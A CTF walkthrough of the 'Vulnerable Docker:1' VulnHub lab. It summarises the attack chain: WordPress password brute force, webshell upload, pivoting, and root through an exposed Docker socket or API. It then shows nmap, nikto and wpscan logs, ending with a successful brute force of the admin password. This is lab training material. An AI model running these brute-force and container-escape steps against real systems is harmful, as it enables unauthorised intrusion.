-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub Docker:1 (Beginner-Advanced)
3291 lines (2714 loc) · 165 KB
/
VulnHub Docker:1 (Beginner-Advanced)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
=======================================================================================================
Walkthrough of the 'Vulnerable Docker:1' VulnHub CTF
=======================================================================================================
Vulnerable Docker VM that contained 2 modes (https://www.vulnhub.com/entry/vulnerable-docker-1,208/ - www.notsosecure.com)
--------------------------------------------------------------------------------------------------------------------------
> 'HARD': This would require you to combine your docker skills as well as your pen-testing skills to achieve host compromise.
> 'EASY': Relatively easier path, knowing docker would be enough to compromise the machine and gain root on the host machines.
Mode 'Hard'
-----------
Step 1. Scanning & Enumeration (Nmap + Nikto + WPscan)
+ SSH server (22/tcp)
+ Wordpress website (8000/tcp) - 1 user account identified: 'bob'
Step 2. Gaining access
1. Perform a password brute force attack against the Wordpress user account 'bob' and find its password
2. Upload a PHP Webshell (manually or with Metasploit) using the functionality 'add a plugin'
=> Gain access to the Docker image hosting the WordPress
Step 3. Post-Exploitation and Privilege escalation to become Root
1. Review the configuration of the docker image (look for privesc flaws + information gathering)...
2. Set up a pivot to attack the other docker images available on the 'docker' network
Note: it can be done via many techniques such as a meterpreter shell + portfwd rule or using proxychains and the ReGeorg webshell (it tunnels TCP connection over HTTP)
3. Find out that there is an unprotected Docker SSH Proxy container and obtain root access on this container
4. Review the configuration of this docker container and find out that the docker socket (which is running as root on the Linux host) is exposed in the docker container
5. Download and install the docker client in this unprotected docker container
6. Perform a privilege escalation attack using the docker client and the exposed docker socket (i.e. run a new container with a volume pointing to the root folder of the hosting Linux server)
=> Gain root access to the underlying Linux server 'vulndocker' and to the 3 docker containers
7. Create a new account on the Linux server 'vulndocker' and ssh to it..
Mode 'Easy'
-----------
Step 1. Scanning & Enumeration (Nmap + Docker client)
+ SSH server (22/tcp)
+ Anonymous access to the Docker API v. 17.06.0-ce(2375/tcp)
Step 2. Gaining access and Privilege escalation to become Root
1. Use the command 'docker -H tcp://<IP> exec -it <container id> <OS command>' to remotely execute OS commands as root on the 3 docker containers.
=> Gain root access on the 3 docker containers
2. Use the docker client to remotely run a new wordpress container with a volume pointing to the root folder of the hosting Linux server.
=> Gain root access to the underlying Linux server 'vulndocker'
3. Create a new Linux account, then add it to the docker group and finally use it to run the tool 'Docker Bench for Security' that checks
for dozens of common best-practices around deploying Docker containers in production (https://github.com/docker/docker-bench-security)
=> Numerous docker configuration weaknesses (warnings) are identified by the tool such as:
[WARN] 2.1 - Ensure network traffic is restricted between containers on the default bridge
[WARN] 2.11 - Ensure that authorization for Docker client commands is enabled
[WARN] 2.17 - Ensure containers are restricted from acquiring new privileges
[WARN] 4.1 - Ensure a user for the container has been created
[WARN] * Running as root: content_wordpress_1
[WARN] * Running as root: content_db_1
[WARN] * Running as root: content_ssh_1
[WARN] 5.12 - Ensure that the container's root filesystem is mounted as read only
[WARN] * Container running with root FS mounted R/W: content_wordpress_1
[WARN] * Container running with root FS mounted R/W: content_db_1
[WARN] * Container running with root FS mounted R/W: content_ssh_1
[WARN] 5.25 - Ensure that the container is restricted from acquiring additional privileges
[WARN] * Privileges not restricted: content_wordpress_1
[WARN] * Privileges not restricted: content_db_1
[WARN] * Privileges not restricted: content_ssh_1
[WARN] 5.31 - Ensure that the Docker socket is not mounted inside any containers
[WARN] * Docker socket shared: content_db_1
[WARN] * Docker socket shared: content_ssh_1
Useful resources / urls regarding docker security:
> https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html
> https://github.com/OWASP/Docker-Security
> https://www.digitalocean.com/community/tutorials/how-to-audit-docker-host-security-with-docker-bench-for-security-on-ubuntu-16-04
****************************************** 'HARD' mode ************************************************
=======================================================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + WPscan)
=======================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/Docker# netdiscover
Currently scanning: 192.168.25.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.3 14:0c:76:53:4d:4e 1 60 FREEBOX SAS
192.168.1.29 f4:5c:89:c9:be:c5 1 60 Apple, Inc.
192.168.1.39 08:00:27:f3:95:3b 1 60 PCS Systemtechnik GmbH
192.168.1.254 68:a3:78:8b:0c:dd 1 60 FREEBOX SAS
=======================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/Docker# nmap -sS -sV -Pn -sC -v -p 1-65535 192.168.1.39
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-16 23:36 CET
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Nmap scan report for 192.168.1.39
Host is up (0.00031s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 45:13:08:81:70:6d:46:c3:50:ed:3c:ab:ae:d6:e1:85 (DSA)
| 2048 4c:e7:2b:01:52:16:1d:5c:6b:09:9d:3d:4b:bb:79:90 (RSA)
| 256 cc:2f:62:71:4c:ea:6c:a6:d8:a7:4f:eb:82:2a:22:ba (ECDSA)
|_ 256 73:bf:b4:d6:ad:51:e3:99:26:29:b7:42:e3:ff:c3:81 (ED25519)
8000/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-generator: WordPress 4.8.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: NotSoEasy Docker – Just another WordPress site
|_http-trane-info: Problem with XML parsing of /evox/about
MAC Address: 08:00:27:F3:95:3B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
=======================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/Docker# ssh [email protected]
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
SHA256:iMM5I1uQqleM9fe/JBCQcZp73GOjgDxxR/EB4Gwf1QI.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /root/.ssh/known_hosts:4
remove with:
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.1.39"
ECDSA host key for 192.168.1.39 has changed and you have requested strict checking.
Host key verification failed.
=======================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/Docker# nikto -h http://192.168.1.39:8000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.39
+ Target Hostname: 192.168.1.39
+ Target Port: 8000
+ Start Time: 2020-03-16 23:44:15 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ Retrieved x-powered-by header: PHP/5.6.31
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://192.168.1.39/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/wp-admin/' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ Entry '/wp-admin/admin-ajax.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /home/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-62684: /wp-content/plugins/hello.php: The WordPress hello.php plugin reveals a file system path
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /wp-app.log: Wordpress' wp-app.log may leak application/system details.
+ /wordpresswp-app.log: Wordpress' wp-app.log may leak application/system details.
+ /: A Wordpress installation was found.
+ /wordpress: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login.php: Wordpress login found
+ 7921 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time: 2020-03-16 23:58:42 (GMT1) (867 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
=======================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/Docker# wpscan --url http://192.168.1.39:8000/
_______________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.4
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[i] It seems like you have not updated the database for some time
[i] Last database update: 2018-09-30
[?] Do you want to update now? [Y]es [N]o [A]bort update, default: [N] > N
[+] URL: http://192.168.1.39:8000/
[+] Started: Tue Mar 17 00:03:43 2020
[+] Interesting header: LINK: <http://192.168.1.39:8000/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/5.6.31
[+] robots.txt available under: http://192.168.1.39:8000/robots.txt [HTTP 200]
[+] XML-RPC Interface available under: http://192.168.1.39:8000/xmlrpc.php [HTTP 405]
[+] API exposed: http://192.168.1.39:8000/wp-json/ [HTTP 200]
[!] 1 user exposed via API: http://192.168.1.39:8000/wp-json/wp/v2/users
+----+------+--------------------------------------+
| ID | Name | URL |
+----+------+--------------------------------------+
| 1 | bob | http://192.168.1.39:8000/author/bob/ |
+----+------+--------------------------------------+
[+] Found an RSS Feed: http://192.168.1.39:8000/feed/ [HTTP 200]
[!] Detected 2 users from RSS feed:
+------+
| Name |
+------+
| bob |
+------+
[!] Full Path Disclosure (FPD) in 'http://192.168.1.39:8000/wp-includes/rss-functions.php':
[+] Enumerating WordPress version ...
[+] WordPress version 4.8.1 (Released on 2017-08-02) identified from meta generator, stylesheets numbers
[!] 18 vulnerabilities identified from the version number
[!] Title: WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/8905
Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48
Reference: https://github.com/WordPress/WordPress/commit/fc930d3daed1c3acef010d04acc2c5de93cd18ec
[i] Fixed in: 4.8.2
[!] Title: WordPress 2.9.2-4.8.1 - Open Redirect
Reference: https://wpvulndb.com/vulnerabilities/8910
Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
Reference: https://core.trac.wordpress.org/changeset/41398
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14725
[i] Fixed in: 4.8.2
[!] Title: WordPress 3.0-4.8.1 - Path Traversal in Unzipping
Reference: https://wpvulndb.com/vulnerabilities/8911
Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
Reference: https://core.trac.wordpress.org/changeset/41457
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14719
[i] Fixed in: 4.8.2
[!] Title: WordPress 4.4-4.8.1 - Path Traversal in Customizer
Reference: https://wpvulndb.com/vulnerabilities/8912
Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
Reference: https://core.trac.wordpress.org/changeset/41397
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14722
[i] Fixed in: 4.8.2
[!] Title: WordPress 4.4-4.8.1 - Cross-Site Scripting (XSS) in oEmbed
Reference: https://wpvulndb.com/vulnerabilities/8913
Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
Reference: https://core.trac.wordpress.org/changeset/41448
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14724
[i] Fixed in: 4.8.2
[!] Title: WordPress 4.2.3-4.8.1 - Authenticated Cross-Site Scripting (XSS) in Visual Editor
Reference: https://wpvulndb.com/vulnerabilities/8914
Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
Reference: https://core.trac.wordpress.org/changeset/41395
Reference: https://blog.sucuri.net/2017/09/stored-cross-site-scripting-vulnerability-in-wordpress-4-8-1.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14726
[i] Fixed in: 4.8.2
[!] Title: WordPress 2.3-4.8.3 - Host Header Injection in Password Reset
Reference: https://wpvulndb.com/vulnerabilities/8807
Reference: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
Reference: http://blog.dewhurstsecurity.com/2017/05/04/exploitbox-wordpress-security-advisories.html
Reference: https://core.trac.wordpress.org/ticket/25239
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295
[!] Title: WordPress <= 4.8.2 - $wpdb->prepare() Weakness
Reference: https://wpvulndb.com/vulnerabilities/8941
Reference: https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/
Reference: https://github.com/WordPress/WordPress/commit/a2693fd8602e3263b5925b9d799ddd577202167d
Reference: https://twitter.com/ircmaxell/status/923662170092638208
Reference: https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16510
[i] Fixed in: 4.8.3
[!] Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload
Reference: https://wpvulndb.com/vulnerabilities/8966
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
[i] Fixed in: 4.8.4
[!] Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping
Reference: https://wpvulndb.com/vulnerabilities/8967
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
[i] Fixed in: 4.8.4
[!] Title: WordPress 4.3.0-4.9 - HTML Language Attribute Escaping
Reference: https://wpvulndb.com/vulnerabilities/8968
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
[i] Fixed in: 4.8.4
[!] Title: WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing
Reference: https://wpvulndb.com/vulnerabilities/8969
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
[i] Fixed in: 4.8.4
[!] Title: WordPress 3.7-4.9.1 - MediaElement Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/9006
Reference: https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
Reference: https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
Reference: https://core.trac.wordpress.org/ticket/42720
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
[i] Fixed in: 4.8.5
[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
Reference: https://wpvulndb.com/vulnerabilities/9021
Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
Reference: https://github.com/quitten/doser.py
Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[!] Title: WordPress 3.7-4.9.4 - Remove localhost Default
Reference: https://wpvulndb.com/vulnerabilities/9053
Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101
[i] Fixed in: 4.8.6
[!] Title: WordPress 3.7-4.9.4 - Use Safe Redirect for Login
Reference: https://wpvulndb.com/vulnerabilities/9054
Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100
[i] Fixed in: 4.8.6
[!] Title: WordPress 3.7-4.9.4 - Escape Version in Generator Tag
Reference: https://wpvulndb.com/vulnerabilities/9055
Reference: https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102
[i] Fixed in: 4.8.6
[!] Title: WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion
Reference: https://wpvulndb.com/vulnerabilities/9100
Reference: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Reference: http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
Reference: https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
Reference: https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
Reference: https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
[i] Fixed in: 4.8.7
[+] WordPress theme in use: twentyseventeen - v1.3
[+] Name: twentyseventeen - v1.3
| Last updated: 2018-08-02T00:00:00.000Z
| Location: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/
| Readme: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 1.7
| Style URL: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/style.css
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection ...
[+] No plugins found passively
[+] Finished: Tue Mar 17 00:03:54 2020
[+] Elapsed time: 00:00:10
[+] Requests made: 395
[+] Memory used: 48.211 MB
root@Security-Audit-01:~/Deskt
=======================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/Docker# wpscan --url http://192.168.1.39:8000/ --enumerate U
_____________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.4
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[i] It seems like you have not updated the database for some time
[i] Last database update: 2018-09-30
[?] Do you want to update now? [Y]es [N]o [A]bort update, default: [N] > N
[+] URL: http://192.168.1.39:8000/
[+] Started: Tue Mar 17 00:07:00 2020
[+] Interesting header: LINK: <http://192.168.1.39:8000/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/5.6.31
[+] robots.txt available under: http://192.168.1.39:8000/robots.txt [HTTP 200]
[+] XML-RPC Interface available under: http://192.168.1.39:8000/xmlrpc.php [HTTP 405]
[+] API exposed: http://192.168.1.39:8000/wp-json/ [HTTP 200]
[!] 1 user exposed via API: http://192.168.1.39:8000/wp-json/wp/v2/users
+----+------+--------------------------------------+
| ID | Name | URL |
+----+------+--------------------------------------+
| 1 | bob | http://192.168.1.39:8000/author/bob/ |
+----+------+--------------------------------------+
[+] Found an RSS Feed: http://192.168.1.39:8000/feed/ [HTTP 200]
[!] Detected 2 users from RSS feed:
+------+
| Name |
+------+
| bob |
+------+
[!] Full Path Disclosure (FPD) in 'http://192.168.1.39:8000/wp-includes/rss-functions.php':
[+] Enumerating WordPress version ...
[+] WordPress version 4.8.12
[+] WordPress theme in use: twentyseventeen - v1.3
[+] Name: twentyseventeen - v1.3
| Last updated: 2018-08-02T00:00:00.000Z
| Location: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/
| Readme: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 1.7
| Style URL: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/style.css
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection ...
[+] No plugins found passively
[+] Enumerating usernames ...
[+] We identified the following 1 user:
+----+-------+-----------------+
| ID | Login | Name |
+----+-------+-----------------+
| 1 | bob | bob – NotSoEasy |
+----+-------+-----------------+
[+] Finished: Tue Mar 17 00:07:10 2020
[+] Elapsed time: 00:00:09
=======================================================================================================
Step 2. Gaining access
=======================================================================================================
root@Security-Audit-01:~/Desktop/CTFs/Docker# wpscan --url http://192.168.1.39:8000/ --wordlist /usr/share/wordlists/rockyou.txt --username bob
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.4
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[i] It seems like you have not updated the database for some time
[i] Last database update: 2018-09-30
[?] Do you want to update now? [Y]es [N]o [A]bort update, default: [N] > N
[+] URL: http://192.168.1.39:8000/
[+] Started: Tue Mar 17 00:08:17 2020
[+] Interesting header: LINK: <http://192.168.1.39:8000/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/5.6.31
[+] robots.txt available under: http://192.168.1.39:8000/robots.txt [HTTP 200]
[+] XML-RPC Interface available under: http://192.168.1.39:8000/xmlrpc.php [HTTP 405]
[+] API exposed: http://192.168.1.39:8000/wp-json/ [HTTP 200]
[!] 1 user exposed via API: http://192.168.1.39:8000/wp-json/wp/v2/users
+----+------+--------------------------------------+
| ID | Name | URL |
+----+------+--------------------------------------+
| 1 | bob | http://192.168.1.39:8000/author/bob/ |
+----+------+--------------------------------------+
[+] Found an RSS Feed: http://192.168.1.39:8000/feed/ [HTTP 200]
[!] Detected 2 users from RSS feed:
+------+
| Name |
+------+
| bob |
+------+
[!] Full Path Disclosure (FPD) in 'http://192.168.1.39:8000/wp-includes/rss-functions.php':
[+] Enumerating WordPress version ...
[+] WordPress version 4.8.12
[+] WordPress theme in use: twentyseventeen - v1.3
[+] Name: twentyseventeen - v1.3
| Last updated: 2018-08-02T00:00:00.000Z
| Location: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/
| Readme: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 1.7
| Style URL: http://192.168.1.39:8000/wp-content/themes/twentyseventeen/style.css
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection ...
[+] No plugins found passively
[+] Starting the password brute forcer
[+] [SUCCESS] Login : bob Password : Welcome1
Brute Forcing 'bob' Time: 00:15:30 < > (40387 / 14344393) 0.28% ETA: 91:30:49
+----+-------+------+----------+
| ID | Login | Name | Password |
+----+-------+------+----------+
| | bob | | Welcome1 |
+----+-------+------+----------+
[+] Finished: Tue Mar 17 00:23:58 2020
[+] Elapsed time: 00:15:41
[+] Requests made: 40788
[+] Memory used: 31.848 MB
======================================================================================
A basic brute force allow to identify the following weak credentials: "bob:welcome1"
The 'bob' account is administrator of the Wordpress website and I found the 1rst flag in the 'Dashboard' page
"Drafts
flag_1January 19, 2017
